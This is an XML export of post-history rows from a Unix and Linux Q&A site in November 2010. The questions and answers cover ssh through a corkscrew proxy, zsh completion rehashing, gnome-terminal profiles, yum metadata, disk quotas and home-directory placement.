  <row Id="8314" PostHistoryTypeId="2" PostId="3853" RevisionGUID="8806f020-594b-43d8-89f0-21d74a025344" CreationDate="2010-11-08T11:48:48.960" UserId="1339" Text="Hi, I'm trying to get ssh working with an http proxy via corkscrew.&#xD;&#xA;&#xD;&#xA;Here is the error:&#xD;&#xA;&#xD;&#xA;    [echox@archbox:~] % ssh somehost.tld&#xD;&#xA;    zsh: No such file or directory&#xD;&#xA;    ssh_exchange_identification: Connection closed by remote host&#xD;&#xA;&#xD;&#xA;Here is the content of ~/.ssh/config&#xD;&#xA;&#xD;&#xA;    Host *&#xD;&#xA;    ProxyCommand /usr/bin/corkscrew http-proxy.some.proxy.tld 8080 %h %p&#xD;&#xA;&#xD;&#xA;I would bet the ProxyCommand is not found, but `/usr/bin/corkscrew` is working, its also in my PATH. `corkscrew` without path is also not working.&#xD;&#xA;&#xD;&#xA;`[echox@archbox:~] % corkscrew http-proxy.some.proxy.tld 8080 some.ssh.host.tld 22` works fine invoked directly.&#xD;&#xA;&#xD;&#xA;Any idea?" />
  <row Id="8315" PostHistoryTypeId="1" PostId="3853" RevisionGUID="8806f020-594b-43d8-89f0-21d74a025344" CreationDate="2010-11-08T11:48:48.960" UserId="1339" Text="ssh + http proxy (corkscrew) not working" />
  <row Id="8316" PostHistoryTypeId="3" PostId="3853" RevisionGUID="8806f020-594b-43d8-89f0-21d74a025344" CreationDate="2010-11-08T11:48:48.960" UserId="1339" Text="ésshàéproxyà" />
  <row Id="8317" PostHistoryTypeId="5" PostId="2179" RevisionGUID="e2216394-8ca1-4bb4-8810-51fe6575936c" CreationDate="2010-11-08T12:20:49.697" UserId="250" Comment="deleted 10 characters in body" Text="After installing new software, an already opened terminal with zsh won't know about the new commands, and cannot generate auto-complete for those. Apparently opening a new terminal fix the problem, but can the index (or whatever you call it) be rebuilt so that auto-complete will work on the old terminal?&#xD;&#xA;&#xD;&#xA;I tried with `compinit` but that didn't help. Also, is there a way that is not shell-dependent? It's nice to have a way to verify the answer as well (except for uninstalling something and reinstalling it).&#xD;&#xA;&#xD;&#xA;UPDATE: what I mean is after typing a few characters of a command's name, I can press tab, and zsh should do the rest to pull up the full name." />
  <row Id="8318" PostHistoryTypeId="5" PostId="3847" RevisionGUID="3e75b64e-cefc-4f75-b1b7-cf44261fc58d" CreationDate="2010-11-08T12:44:04.857" UserId="1327" Comment="added 145 characters in body" Text="You will have to use `find` and `pwd`.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    find `pwd` -name .htaccess -maxdepth 1&#xD;&#xA;&#xD;&#xA;**OR**&#xD;&#xA;&#xD;&#xA;From this [answer][3]:&#xD;&#xA;&#xD;&#xA;    ls -d `pwd`/.htaccess&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You could use the `$PWD` variable to cut out unwanted subshells:&#xD;&#xA;&#xD;&#xA;    find $PWD -name .htaccess -maxdepth 1&#xD;&#xA;    ls -d $PWD/.htaccess&#xD;&#xA;  &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See Also:  &#xD;&#xA;&#xD;&#xA;  - [How can I list files with their absolute path in linux?][1]  &#xD;&#xA;  - [ls -R --fullpath | grep filename][2]  &#xD;&#xA;&#xD;&#xA;[1]:http://stackoverflow.com/questions/246215&#xD;&#xA;[2]:http://my.brandeis.edu/bboard/q-and-a-fetch-msg?msg_id=0002vQ&#xD;&#xA;[3]:http://stackoverflow.com/questions/246215/how-can-i-list-files-with-their-absolute-path-in-linux/1427114#1427114" />
  <row Id="8319" PostHistoryTypeId="2" PostId="3854" RevisionGUID="0dc62963-8c0a-41c2-8546-a4f4262ff491" CreationDate="2010-11-08T14:25:36.320" UserId="2062" Text="Asked this on [superuser][1], got no response:&#xD;&#xA;&#xD;&#xA;Can anyone tell me of the status/state of WLM (Workload Management) kernel scheduler systems in Linux?  Alternatively, any user-space process goal-based load management programs?&#xD;&#xA;&#xD;&#xA;This is a good start, but I'm not aware if these proposals are implemented?&#xD;&#xA;&#xD;&#xA;http://www.computer.org/plugins/dl/pdf/proceedings/icac/2004/2114/00/21140314.pdf&#xD;&#xA;&#xD;&#xA;http://ckrm.sourceforge.net/downloads/ckrm-linuxtag04-paper.pdf&#xD;&#xA;&#xD;&#xA;AIX has inclusive WLM, anything comparable for Linux?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/87893/are-there-any-workload-management-subsystems-for-linux" />
  <row Id="8320" PostHistoryTypeId="1" PostId="3854" RevisionGUID="0dc62963-8c0a-41c2-8546-a4f4262ff491" CreationDate="2010-11-08T14:25:36.320" UserId="2062" Text="Are there any Workload Management subsystems for Linux?" />
  <row Id="8321" PostHistoryTypeId="3" PostId="3854" RevisionGUID="0dc62963-8c0a-41c2-8546-a4f4262ff491" CreationDate="2010-11-08T14:25:36.320" UserId="2062" Text="élinuxàékernelàéschedulingà" />
  <row Id="8322" PostHistoryTypeId="2" PostId="3855" RevisionGUID="b56e6a27-cd16-430b-a889-a848d95aeb41" CreationDate="2010-11-08T14:46:43.963" UserId="2567" Text="I have no idea about corkscrew, &#xD;&#xA;but I have had success with ssh though http proxy using putty.&#xD;&#xA;&#xD;&#xA;Maybe it can do the work instead?" />
  <row Id="8323" PostHistoryTypeId="2" PostId="3856" RevisionGUID="28e98637-27dd-41df-9278-9624acf9a546" CreationDate="2010-11-08T15:58:42.197" UserId="2180" Text="Yes, there is a way. You need to tell gnome-terminal to launch tabs with certain profiles; these profiles must be setup to start a shell with the commands you want.&#xD;&#xA;&#xD;&#xA;First, you need to make a script (or a launcher icon) that will start `gnome-terminal --tab-with-profile=Dev`. &quot;Dev&quot; is the name of a profile you will create, so replace that with whatever you want it to be. Also, you can specify as many `--tab-with-profile`s as you want, will will open a tab for each.&#xD;&#xA;&#xD;&#xA;Now, you need the profile we just referenced. This is created by opening `gnome-terminal`, and finding `Edit-&gt;Profiles...` in the menu. Make a new profile and give it the name you specified in the previous step. Next, we need to set its preferences. Highlight the newly created profile and click the Edit button. When the Profile Preferences dialog is up, activate the &quot;Title and Command&quot; tab, check &quot;Run a custom command...&quot; and in the associated textbox, put `ENV=$HOME/.dev_profile sh`. Of course, you can put whatever path you want to in the ENV variable, as long as you create it in the next step. This starts sh, and sh will execute whatever commands are in `$HOME/.dev_profile`&#xD;&#xA;&#xD;&#xA;Next, you need to create that shell profile file. Place whatever commands you want in there; they will be executed in order when the shell is started." />
  <row Id="8324" PostHistoryTypeId="5" PostId="3856" RevisionGUID="37ad6688-32ed-4755-8ba5-bdcda29a1563" CreationDate="2010-11-08T16:11:39.633" UserId="2180" Comment="add disclaimer" Text="Probably. This is untested, but should work:&#xD;&#xA;&#xD;&#xA;You need to tell gnome-terminal to launch tabs with certain profiles; these profiles must be setup to start a shell with the commands you want.&#xD;&#xA;&#xD;&#xA;First, you need to make a script (or a launcher icon) that will start `gnome-terminal --tab-with-profile=Dev`. &quot;Dev&quot; is the name of a profile you will create, so replace that with whatever you want it to be. Also, you can specify as many `--tab-with-profile`s as you want, will will open a tab for each.&#xD;&#xA;&#xD;&#xA;Now, you need the profile we just referenced. This is created by opening `gnome-terminal`, and finding `Edit-&gt;Profiles...` in the menu. Make a new profile and give it the name you specified in the previous step. Next, we need to set its preferences. Highlight the newly created profile and click the Edit button. When the Profile Preferences dialog is up, activate the &quot;Title and Command&quot; tab, check &quot;Run a custom command...&quot; and in the associated textbox, put `ENV=$HOME/.dev_profile sh`. Of course, you can put whatever path you want to in the ENV variable, as long as you create it in the next step. This starts sh, and sh will execute whatever commands are in `$HOME/.dev_profile`&#xD;&#xA;&#xD;&#xA;Next, you need to create that shell profile file. Place whatever commands you want in there; they will be executed in order when the shell is started." />
  <row Id="8326" PostHistoryTypeId="5" PostId="3856" RevisionGUID="8850b7df-75e1-4e25-96af-e1a6e80f0d67" CreationDate="2010-11-08T16:21:32.900" UserId="2180" Comment="Tested, fixed bug, removed disclaimer." Text="Yes, there is a way. You need to tell gnome-terminal to launch tabs with certain profiles; these profiles must be setup to start a shell with the commands you want.&#xD;&#xA;&#xD;&#xA;First, you need to make a script (or a launcher icon) that will start `gnome-terminal --tab-with-profile=Dev`. &quot;Dev&quot; is the name of a profile you will create, so replace that with whatever you want it to be. Also, you can specify as many `--tab-with-profile`s as you want, will will open a tab for each.&#xD;&#xA;&#xD;&#xA;Now, you need the profile we just referenced. This is created by opening `gnome-terminal`, and finding `Edit-&gt;Profiles...` in the menu. Make a new profile and give it the name you specified in the previous step. Next, we need to set its preferences. Highlight the newly created profile and click the Edit button. When the Profile Preferences dialog is up, activate the &quot;Title and Command&quot; tab, check &quot;Run a custom command...&quot; and in the associated textbox, put `sh -c &quot;ENV=$HOME/.dev_profile sh&quot;`. Of course, you can put whatever path you want to in the ENV variable, as long as you create it in the next step. This starts sh, and sh will execute whatever commands are in `$HOME/.dev_profile`&#xD;&#xA;&#xD;&#xA;Next, you need to create that shell profile file. Place whatever commands you want in there; they will be executed in order when the shell is started." />
  <row Id="8327" PostHistoryTypeId="5" PostId="3856" RevisionGUID="426fcbb0-363c-4b16-862c-0d726be8facc" CreationDate="2010-11-08T16:27:56.263" UserId="2180" Comment="Clarified info about shell profile file." Text="Yes, there is a way. You need to tell gnome-terminal to launch tabs with certain profiles; these profiles must be setup to start a shell with the commands you want.&#xD;&#xA;&#xD;&#xA;First, you need to make a script (or a launcher icon) that will start `gnome-terminal --tab-with-profile=Dev`. &quot;Dev&quot; is the name of a profile you will create, so replace that with whatever you want it to be. Also, you can specify as many `--tab-with-profile`s as you want, will will open a tab for each.&#xD;&#xA;&#xD;&#xA;Now, you need the profile you just referenced. This is created by opening `gnome-terminal`, and finding `Edit-&gt;Profiles...` in the menu. Make a new profile and give it the name you specified in the previous step. Next, you need to set its preferences. Highlight the newly created profile and click the Edit button. When the Profile Preferences dialog is up, activate the &quot;Title and Command&quot; tab, check &quot;Run a custom command...&quot; and in the associated textbox, put `sh -c &quot;ENV=$HOME/.dev_profile sh&quot;`. Of course, you can put whatever path you want to in the ENV variable, as long as you create it in the next step. This starts sh, and sh will execute whatever commands are in `$HOME/.dev_profile`&#xD;&#xA;&#xD;&#xA;Next, you need to create that shell profile file. Place whatever commands you want in there; they will be executed when the shell is started. Treat this like you would a .bashrc - this will replace it. Depending on how your .bashrc is setup, you may want to `source $HOME/.bashrc` in the profile to copy all the functionality over from your normal sh profile." />
  <row Id="8328" PostHistoryTypeId="5" PostId="3855" RevisionGUID="66a17bea-106d-4c43-8b8f-e5b2ebfc2d45" CreationDate="2010-11-08T16:56:57.860" UserId="2567" Comment="apt get it..." Text="I have no idea about corkscrew, &#xD;&#xA;but I have had success with ssh though http proxy using putty.&#xD;&#xA;&#xD;&#xA;Maybe it can do the work instead?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;*Edit*&#xD;&#xA;putty is a X based program so it can't help in all cases.&#xD;&#xA;&#xD;&#xA;But if you would like to install putty on something like ubuntu you can just apt it.&#xD;&#xA;&#xD;&#xA;    sudo aptitude install putty&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8329" PostHistoryTypeId="2" PostId="3858" RevisionGUID="4f84c10b-d0d3-4936-b4c7-61d69c4f131e" CreationDate="2010-11-08T18:03:48.553" UserId="1910" Text="By default, you can use:&#xD;&#xA;&#xD;&#xA;    yum clean expire-cache&#xD;&#xA;    yum repolist -v updates-testing&#xD;&#xA;&#xD;&#xA;...which will show you both the last time that Fedora updated (in the metalink/updated row) and the last time you updated (in the repo-updated row). As a quick check you can also just run &quot;yum repolist&quot; on it's own, and any rows that start with a '*' do not have the latest metadata locally.&#xD;&#xA;&#xD;&#xA;AIUI Fedora post the messages about packages being pushed as they are approved ... but it can still be a non-trivial amount of time after that before they are in the Fedora repo. (and longer for your local mirror to sync.)&#xD;&#xA;" />
  <row Id="8330" PostHistoryTypeId="5" PostId="3856" RevisionGUID="7e759b32-9c96-4c45-8614-350c9933a9d8" CreationDate="2010-11-08T18:36:32.270" UserId="2180" Comment="fixed will will" Text="Yes, there is a way. You need to tell gnome-terminal to launch tabs with certain profiles; these profiles must be setup to start a shell with the commands you want.&#xD;&#xA;&#xD;&#xA;First, you need to make a script (or a launcher icon) that will start `gnome-terminal --tab-with-profile=Dev`. &quot;Dev&quot; is the name of a profile you will create, so replace that with whatever you want it to be. Also, you can specify as many `--tab-with-profile`s as you want: it will open a tab for each.&#xD;&#xA;&#xD;&#xA;Now, you need the profile you just referenced. This is created by opening `gnome-terminal`, and finding `Edit-&gt;Profiles...` in the menu. Make a new profile and give it the name you specified in the previous step. Next, you need to set its preferences. Highlight the newly created profile and click the Edit button. When the Profile Preferences dialog is up, activate the &quot;Title and Command&quot; tab, check &quot;Run a custom command...&quot; and in the associated textbox, put `sh -c &quot;ENV=$HOME/.dev_profile sh&quot;`. Of course, you can set ENV to any path you want, as long as you are consistent in the next step. This starts sh, and sh will execute whatever commands are in `$HOME/.dev_profile`&#xD;&#xA;&#xD;&#xA;Next, you need to create that shell profile file. So edit $HOME/.dev_profile (or whatever file you specified in the previous step). Place whatever commands you want in there; they will be executed when the shell is started. Treat this like you would a .bashrc - this will replace it. Depending on how your .bashrc is setup, you may want to `source $HOME/.bashrc` in the profile to copy all the functionality over from your normal sh profile." />
  <row Id="8331" PostHistoryTypeId="2" PostId="3859" RevisionGUID="df1fc52b-2640-4f04-b300-11895675ef78" CreationDate="2010-11-08T19:10:39.153" UserId="73" Text="`realpath` exists for this purpose (finding canonical absolute paths):&#xD;&#xA;&#xD;&#xA;    $ realpath .htaccess&#xD;&#xA;    /home/user/public_html/.htaccess&#xD;&#xA;" />
  <row Id="8332" PostHistoryTypeId="2" PostId="3860" RevisionGUID="cbf2663b-6c55-4540-92ca-d818265c8920" CreationDate="2010-11-08T19:16:33.147" UserId="73" Text="`nzbget` is a binary file; you can't use `sh` to process it, you would do that if `nzbget` were a shell script. Running just `nzbget` didn't work because by default the current directory is not on the PATH, so you need to do something like:&#xD;&#xA;&#xD;&#xA;    $ ./nzbget&#xD;&#xA;&#xD;&#xA;Or:&#xD;&#xA;&#xD;&#xA;    $ /mnt/HD_a2/ffp/bin/nzbget&#xD;&#xA;" />
  <row Id="8333" PostHistoryTypeId="5" PostId="3490" RevisionGUID="cff54ce7-4051-489d-b004-430fb2f4d240" CreationDate="2010-11-08T19:28:58.223" UserId="131" Comment="added 41 characters in body" Text="I am using gtk-recordmydesktop to record the video output to my desktop. However, the videos have no sound. All the tutorials I found regarding this involved getting sound recorded from a microphone, while I am interested in getting the sound output recorded. How can I do this? The official FAQ says &quot;The solution is in your mixer's settings. Keep playing with it ;).&quot; which doesn't clarify anything.&#xD;&#xA;&#xD;&#xA;How can I get the sound output recorded, while being able to hear it myself also?" />
  <row Id="8334" PostHistoryTypeId="2" PostId="3861" RevisionGUID="1abcb1cf-4672-47ec-a32c-13664f8156d9" CreationDate="2010-11-08T19:32:36.537" UserId="131" Text="Anytime someone tries to send me files over YIM or AIM when I am using Pidgin 2.7.5 on Arch Linux, it fails, telling me that they cancelled, and telling them that I cancelled.&#xD;&#xA;&#xD;&#xA;The same computer using Pidgin on Windows manages to transfer these files successfully.&#xD;&#xA;&#xD;&#xA;Is there some sort of checklist for these issues?&#xD;&#xA;&#xD;&#xA;(Previously asked on SuperUser, where it didn't have any answers, and I recently put a bounty on it here: http://superuser.com/questions/172551/pidgin-will-not-recieve-files)" />
  <row Id="8335" PostHistoryTypeId="1" PostId="3861" RevisionGUID="1abcb1cf-4672-47ec-a32c-13664f8156d9" CreationDate="2010-11-08T19:32:36.537" UserId="131" Text="Pidgin will not transfer files." />
  <row Id="8336" PostHistoryTypeId="3" PostId="3861" RevisionGUID="1abcb1cf-4672-47ec-a32c-13664f8156d9" CreationDate="2010-11-08T19:32:36.537" UserId="131" Text="élinuxàéarchölinuxàépidginà" />
  <row Id="8337" PostHistoryTypeId="2" PostId="3862" RevisionGUID="dd4bdb01-db01-41fa-9273-d712a0fa6573" CreationDate="2010-11-08T20:24:26.637" UserId="1948" Text="RedHat has a tool called kickstart[1] to automate installs.  Not sure if Fedora offers the same tool or not, but it might help getting the initial install underway.  &#xD;&#xA;&#xD;&#xA;I also second the separate /home partition.  Backups are still necessary in case of a slip of the finger, but it makes life way easy.&#xD;&#xA;&#xD;&#xA;1. http://www.faqs.org/docs/Linux-HOWTO/KickStart-HOWTO.html" />
  <row Id="8338" PostHistoryTypeId="2" PostId="3863" RevisionGUID="3eda8ea8-c5ea-4611-b5b6-82467530df9e" CreationDate="2010-11-08T21:53:25.267" UserId="885" Text="You can start multiple commands on the same gnome-terminal command line by specifying the `--tab-with-profile` option multiple times, followed each time by a single `-e` specifying what command to run in that tab. You can also use `--window-with-profile` to have multiple windows. For example, the following command starts two windows with two tabs each; the first window runs bash in each tab, setting the environment variable `TAB` to 1 or 2; the second window runs `htop` in one tab and `iotop` in the other tab. The explicit `sh` invocation, with correct quoting, is necessary for some reason.&#xD;&#xA;&#xD;&#xA;    gnome-terminal --tab-with-profile=&quot;Default&quot; -e 'sh -c '\''export TAB=1; exec bash'\' \&#xD;&#xA;                   --tab-with-profile=&quot;Default&quot; -e 'sh -c '\''export TAB=2; exec bash'\' \&#xD;&#xA;                   --window-with-profile=&quot;Default&quot; -e 'htop' \&#xD;&#xA;                   --tab-with-profile=&quot;Default&quot; -e 'iotop'&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you want a command to run when you log in, put it in a shell script (for example `~/bin/my_gnome_login_commands`, and register it in “System / Preferences / Startup Applications” in the Gnome menu. Alternatively, create a file `~/.config/autostart/my_commands.desktop` containing&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Type=Application&#xD;&#xA;    Exec=/home/tshepang/bin/my_gnome_login_commands&#xD;&#xA;    Hidden=false&#xD;&#xA;    NoDisplay=false&#xD;&#xA;    X-GNOME-Autostart-enabled=true&#xD;&#xA;&#xD;&#xA;(You must use the full path to your home directory on the `Exec=` line, you can't use `~`.)&#xD;&#xA;" />
  <row Id="8339" PostHistoryTypeId="5" PostId="3863" RevisionGUID="3f781b23-e5e4-4071-a7c9-d316cb222987" CreationDate="2010-11-08T22:00:49.317" UserId="885" Comment="note gnome version" Text="You can start multiple commands on the same gnome-terminal command line by specifying the `--tab-with-profile` option multiple times, followed each time by a single `-e` specifying what command to run in that tab. You can also use `--window-with-profile` to have multiple windows. For example, the following command starts two windows with two tabs each; the first window runs bash in each tab, setting the environment variable `TAB` to 1 or 2; the second window runs `htop` in one tab and `iotop` in the other tab. The explicit `sh` invocation, with correct quoting, is necessary for some reason.&#xD;&#xA;&#xD;&#xA;    gnome-terminal --tab-with-profile=&quot;Default&quot; -e 'sh -c '\''export TAB=1; exec bash'\' \&#xD;&#xA;                   --tab-with-profile=&quot;Default&quot; -e 'sh -c '\''export TAB=2; exec bash'\' \&#xD;&#xA;                   --window-with-profile=&quot;Default&quot; -e 'htop' \&#xD;&#xA;                   --tab-with-profile=&quot;Default&quot; -e 'iotop'&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you want a command to run when you log in, put it in a shell script (for example `~/bin/my_gnome_login_commands`, and register it in “System / Preferences / Startup Applications” in the Gnome menu. Alternatively, create a file `~/.config/autostart/my_commands.desktop` containing&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Type=Application&#xD;&#xA;    Exec=/home/tshepang/bin/my_gnome_login_commands&#xD;&#xA;    Hidden=false&#xD;&#xA;    NoDisplay=false&#xD;&#xA;    X-GNOME-Autostart-enabled=true&#xD;&#xA;&#xD;&#xA;(You must use the full path to your home directory on the `Exec=` line, you can't use `~`.)&#xD;&#xA;&#xD;&#xA;(This answer has been tested with Gnome 2.30 on Ubuntu 10.04. As Gnome sometimes breaks compatibility, it may or may not apply to other versions.)&#xD;&#xA;" />
  <row Id="8340" PostHistoryTypeId="5" PostId="2180" RevisionGUID="c5757dbc-cdfb-4283-9404-1e666b0cba11" CreationDate="2010-11-08T22:08:33.803" UserId="885" Comment="mention zstyle to rehash on each completion" Text="To rebuild the cache of executable commands, use `rehash` or `hash -rf`.&#xD;&#xA;&#xD;&#xA;Make sure you haven't unset the `hash_list_all` option (it causes even fewer disk accesses but makes the cache update less often).&#xD;&#xA;&#xD;&#xA;If you don't want to have to type a command, you can tell zsh not to trust its cache when completing by putting the following line in your `~/.zshrc`¹:&#xD;&#xA;&#xD;&#xA;    zstyle &quot;:completion:*:commands&quot; rehash 1&#xD;&#xA;&#xD;&#xA;There is a performance cost, but it is negligible on a typical desktop setting today. (It isn't if you have `$PATH` on NFS, or a RAM-starved system.)&#xD;&#xA;&#xD;&#xA;The `zstyle` command itself is documented in the `zshmodule` man page. The styles values are documented in the `zshcompsys` and `zshcompwid` man pages, or you can read the source (here, of the `_command_names` function). If you wanted some readable documentation… if you find some, let me know!&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; requires zsh≥4.3.3, thanks [Chris Johnsen](http://unix.stackexchange.com/users/1107/chris-johnsen) &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="8341" PostHistoryTypeId="2" PostId="3864" RevisionGUID="3abd9cb5-bc16-4821-a46a-4b046d0e5536" CreationDate="2010-11-08T22:56:42.183" UserId="2579" Text="As far as I understand, the traditional place for home directories is beneath `/home`. Some Linux variants seem to keep them in `/var/home`, what's the reason for that?" />
  <row Id="8342" PostHistoryTypeId="1" PostId="3864" RevisionGUID="3abd9cb5-bc16-4821-a46a-4b046d0e5536" CreationDate="2010-11-08T22:56:42.183" UserId="2579" Text="Why should I keep home directories in /var/home ?" />
  <row Id="8343" PostHistoryTypeId="3" PostId="3864" RevisionGUID="3abd9cb5-bc16-4821-a46a-4b046d0e5536" CreationDate="2010-11-08T22:56:42.183" UserId="2579" Text="élinuxà" />
  <row Id="8344" PostHistoryTypeId="6" PostId="3836" RevisionGUID="93ed13ce-8931-42ce-9dd7-1f28a4f14208" CreationDate="2010-11-08T23:05:14.743" UserId="2579" Comment="edited tags" Text="ésudoàéwebosà" />
  <row Id="8345" PostHistoryTypeId="2" PostId="3865" RevisionGUID="7aa4656c-0820-4b01-8941-e3bb2509c415" CreationDate="2010-11-08T23:48:43.413" UserId="2134" Text="I've managed to hose my login to a Unix box. I don't have an easy way of contacting the administrator, so I'd like to resolve it myself ideally. I don't have root access (that would be too easy).&#xD;&#xA;&#xD;&#xA;Per the title, I've managed to create a large file through an app spamming stdout, which I now can't remove. `rm -f` doesn't work, nor does `cat /dev/null &gt;| $file`, nor `truncate -s 0 $file`. Errors are akin to the following, for everything I've tried.&#xD;&#xA;&#xD;&#xA;    tr08[~]$ cat /dev/null &gt;| wordlist.txt&#xD;&#xA;    -bash: wordlist.txt: Disk quota exceeded&#xD;&#xA;&#xD;&#xA;Output from `quota` is unhelpful:&#xD;&#xA;&#xD;&#xA;    tr08[~]$ quota -v&#xD;&#xA;    Disk quotas for user meand (uid 8650):&#xD;&#xA;         Filesystem  blocks   quota   limit   grace   files   quota   limit   grace&#xD;&#xA;    tau:/uspac/mc10/m10mr&#xD;&#xA;                           0       0       0               0       0       0&#xD;&#xA;&#xD;&#xA;I'm at a loss on what to do next. Google only gave me `truncate` and `cat \dev\null`, so any advice or suggestion would be gratefully received." />
  <row Id="8346" PostHistoryTypeId="1" PostId="3865" RevisionGUID="7aa4656c-0820-4b01-8941-e3bb2509c415" CreationDate="2010-11-08T23:48:43.413" UserId="2134" Text="Disk quota exceeded; truncate not bringing quota back down" />
  <row Id="8347" PostHistoryTypeId="3" PostId="3865" RevisionGUID="7aa4656c-0820-4b01-8941-e3bb2509c415" CreationDate="2010-11-08T23:48:43.413" UserId="2134" Text="édisköusageà" />
  <row Id="8348" PostHistoryTypeId="2" PostId="3866" RevisionGUID="02fb5679-1f1a-4585-8357-b48b6561bdbd" CreationDate="2010-11-08T23:58:22.570" UserDisplayName="David Huff" Text="The system I am using has no package installer in the root fs image.  How do I install opkg itself?  I can't find a link to the x86 binaries." />
  <row Id="8349" PostHistoryTypeId="1" PostId="3866" RevisionGUID="02fb5679-1f1a-4585-8357-b48b6561bdbd" CreationDate="2010-11-08T23:58:22.570" UserDisplayName="David Huff" Text="How do I install opkg installer on a system that doesn't have it." />
  <row Id="8350" PostHistoryTypeId="3" PostId="3866" RevisionGUID="02fb5679-1f1a-4585-8357-b48b6561bdbd" CreationDate="2010-11-08T23:58:22.570" UserDisplayName="David Huff" Text="ésoftwareöinstallationà" />
  <row Id="8351" PostHistoryTypeId="6" PostId="3865" RevisionGUID="07fa640d-ace2-433c-81d8-2e1504292ff5" CreationDate="2010-11-09T00:28:04.807" UserId="885" Comment="edited tags" Text="éuntaggedà" />
  <row Id="8352" PostHistoryTypeId="2" PostId="3867" RevisionGUID="1145535d-2c55-48ec-bd45-26ecfb15eeeb" CreationDate="2010-11-09T03:20:02.260" UserId="1898" Text="There aren't x86 binaries, because it's really aimed at embedded devices and the like. You'll have to compile the source yourself: http://code.google.com/p/opkg/source/browse/&#xD;&#xA;&#xD;&#xA;It does beg the question though... If it's an x86 machine, why not just use apt/dpkg?" />
  <row Id="8353" PostHistoryTypeId="2" PostId="3868" RevisionGUID="2900683b-6fc3-4a44-9739-c3d0427d0d3d" CreationDate="2010-11-09T03:48:11.447" UserId="29" Text="Here at work we just set up a Ubuntu Terminal Server, All of our workstations have multiple monitors, of different sizes, 2-3 screens and varying nVidia video card models, but they all are nvidia. I at least have been using Twin-View. But I don't want to have to log in every day and set up Twin-View with `nvidia-settings` first thing. Is there a way to set up Twin-View from a configuration file? or possibly a startup script? I don't have root access to the TS, however if we could find a one size fits all `xorg.conf` configuration that makes multi-monitor just work on every machine then I might be able to convince the TS admin." />
  <row Id="8354" PostHistoryTypeId="1" PostId="3868" RevisionGUID="2900683b-6fc3-4a44-9739-c3d0427d0d3d" CreationDate="2010-11-09T03:48:11.447" UserId="29" Text="Multi-monitor Xorg nVidia on Ubuntu 10.10 without root?" />
  <row Id="8355" PostHistoryTypeId="3" PostId="3868" RevisionGUID="2900683b-6fc3-4a44-9739-c3d0427d0d3d" CreationDate="2010-11-09T03:48:11.447" UserId="29" Text="éxorgàétwinviewàénvidiaà" />
  <row Id="8356" PostHistoryTypeId="6" PostId="3868" RevisionGUID="9d5f90f5-cd99-4a84-8c5f-ae051930e8c1" CreationDate="2010-11-09T04:33:20.727" UserId="29" Comment="add multi-monitor tag" Text="éxorgàétwinviewàénvidiaàémultiömonitorà" />
  <row Id="8357" PostHistoryTypeId="2" PostId="3869" RevisionGUID="89ac4770-935f-455d-8cd3-312143b14a5e" CreationDate="2010-11-09T08:17:27.440" UserId="2567" Text="I never seen that... &#xD;&#xA;&#xD;&#xA;But you can place things more or less all over the place, I mean one user can be in /var/home/ another in /home/ and third in /partyplace/home/....&#xD;&#xA;&#xD;&#xA;But it just don't make any sense to me, it's better to follow the convention that users data is stored under /home/" />
  <row Id="8359" PostHistoryTypeId="2" PostId="3870" RevisionGUID="27b21002-8215-4acf-8dc9-bb162933291c" CreationDate="2010-11-09T09:40:51.900" UserId="1339" Text="Ok, I totally forgot about `-vvv` :-) Here is the output:&#xD;&#xA;&#xD;&#xA;    OpenSSH_5.6p1, OpenSSL 1.0.0a 1 Jun 2010&#xD;&#xA;    debug1: Reading configuration data /home/echox/.ssh/config&#xD;&#xA;    debug1: Applying options for *&#xD;&#xA;    debug1: Reading configuration data /etc/ssh/ssh_config&#xD;&#xA;    debug1: Applying options for *&#xD;&#xA;    debug2: ssh_connect: needpriv 0&#xD;&#xA;    debug1: Executing proxy command: exec /usr/bin/corkscrew http-proxy.proxy.tld 8080 somehost.tld 22&#xD;&#xA;    debug1: permanently_drop_suid: 1000&#xD;&#xA;    zsh: No such file or directory&#xD;&#xA;    [..]&#xD;&#xA;    ssh_exchange_identification: Connection closed by remote host&#xD;&#xA;&#xD;&#xA;The key is the line with `ssh_connect: needpriv 0`. I forgot to add my user to the network group in /etc/group.&#xD;&#xA;The connection worked with root and after adding the user to network it works also for him now.&#xD;&#xA;&#xD;&#xA;Connections without corkscrew did work before. Does anybody have an idea where this &quot;security&quot; setting is stored? I can't find anything in the arch linux wiki, /etc/, `man ssh` and the corkscrew source / corkscrew documentation which checks for the network group." />
  <row Id="8360" PostHistoryTypeId="6" PostId="3864" RevisionGUID="3ef156d5-2cdc-46b4-882c-5b99ac99c396" CreationDate="2010-11-09T10:49:02.207" UserId="29" Comment="tag fhs because it's not compliant" Text="élinuxàéwebosàéfhsà" />
  <row Id="8361" PostHistoryTypeId="2" PostId="3871" RevisionGUID="df44e559-5e72-448c-9b4c-ee2827daf693" CreationDate="2010-11-09T10:51:05.187" UserId="29" Comment="make excerpt better" Text="File Hierarchy System Specification - [Version 2.3](http://www.pathname.com/fhs/pub/fhs-2.3.html)&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;This standard consists of a set of requirements and guidelines for file and directory placement under UNIX-like operating systems. The guidelines are intended to support interoperability of applications, system administration tools, development tools, and scripts as well as greater uniformity of documentation for these systems.&lt;/blockquote&gt;" />
  <row Id="8362" PostHistoryTypeId="2" PostId="3872" RevisionGUID="1a828665-bf9f-463f-93a9-cfeeccd71a35" CreationDate="2010-11-09T10:51:05.187" UserId="29" Comment="make excerpt better" Text="File Hierarchy System" />
  <row Id="8363" PostHistoryTypeId="4" PostId="3864" RevisionGUID="4e5604ea-26f1-47a7-b146-74fc71168669" CreationDate="2010-11-09T11:13:15.327" UserId="2579" Comment="edited tags; edited title; edited title" Text="Why would I keep home directories in /var/home ?" />
